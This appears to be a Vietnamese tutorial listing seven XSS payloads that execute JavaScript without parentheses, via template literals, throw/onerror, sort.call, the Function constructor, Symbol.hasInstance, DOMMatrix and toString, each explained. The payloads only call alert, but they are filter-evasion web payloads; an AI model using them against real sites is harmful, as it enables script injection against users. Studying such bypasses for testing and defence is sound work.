Một số cách khai thác XSS mà không sử dụng dấu ngoặc đơn ( )


1.	alert`1337`
=> Template Literals (là chuỗi được bao bởi `` thay vì cặp ngoặc kép ngoặc đơn thông thường) có khả năng thực thi script ngay trong dấu backtick, xem thêm tại: Here

2.	throw onerror=alert,1337
			

=> Thông thường đầu vào của throw là string, nhưng chúng ta cũng có thể đưa cả object vào như ví dụ này. Đầu tiên gán function alert cho handler onerror (tương đương gán cho window.onerror=alert), những lần throw sau đó do chạy bị lỗi uncaught, nên truyền phần tử cuối lượt throw đó vào function đã gán (alert ở ví dụ này). Đây là bản cải tiến của onerror=alert;throw'XSS'.

Lưu ý: nếu trigger error thông qua console để test sẽ không được, browser đã chặn một phần việc này. Hãy test thông qua gán script vào file html hoặc sử dụng lệnh sau:


setTimeout(function() { notThere(); }, 0);
			

3.	[].sort.call`${alert}1337` = Array.prototype.sort.call`${alert}1337`
			
Calling sort() on non-array objects (hàm Array.prototype.sort.call) xem tại Here (Ở cuối)
Xem rõ hơn Template Literals tại Here

function x(){
   alert(arguments[0]);
   alert(arguments[1]);
}
x`x${'ale'+'rt(1)'}x`
			
Sử dụng hàm x như trên trong link portswigger với `${alert}1337`
=> `` có 2 phần tử ..1337.. và alert()
Hàm call nhận vào ...call(..1337.., alert) hay thực chất là sort object ..1337.. theo function so sánh alert(), do đó hàm alert đc thực thi

VD với bộ test của docs sort ở link trên: console.log(Array.prototype.sort.call(arrayLike, alert('Chtholly'));


4.	Function`x${'alert\x281337\x29'}x```
			
Đọc về constructor Function tại Here

Cặp `` đầu là để viết nội dung function, cặp `` thứ 2 là nội dung của arguments truyền vào khi chạy function, giống như alert`1337` nhưng alert thay vì có sẵn thì khi dùng mới tạo


5.	'alert\x281337\x29'instanceof{[Symbol['hasInstance']]:eval}
			
Đọc về instanceof tại Here

Symbol.hasInstance = Symbol['hasInstance'] đọc tại Here

Theo syntax, trước instanceof là object, sau là constructor


6.	x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
			
Chuyển x sang dạng string sẽ thu được dạng matrix(a,b,c,d,e,f)

7.  x=x=>{throw/**/onerror=alert,1337},toString=x,window+''
			
Khai báo function x (xem lại XSS Introduction để hiểu rõ hơn), gán toString bằng x, window+'' sẽ thực thi toString(window) và chạy alert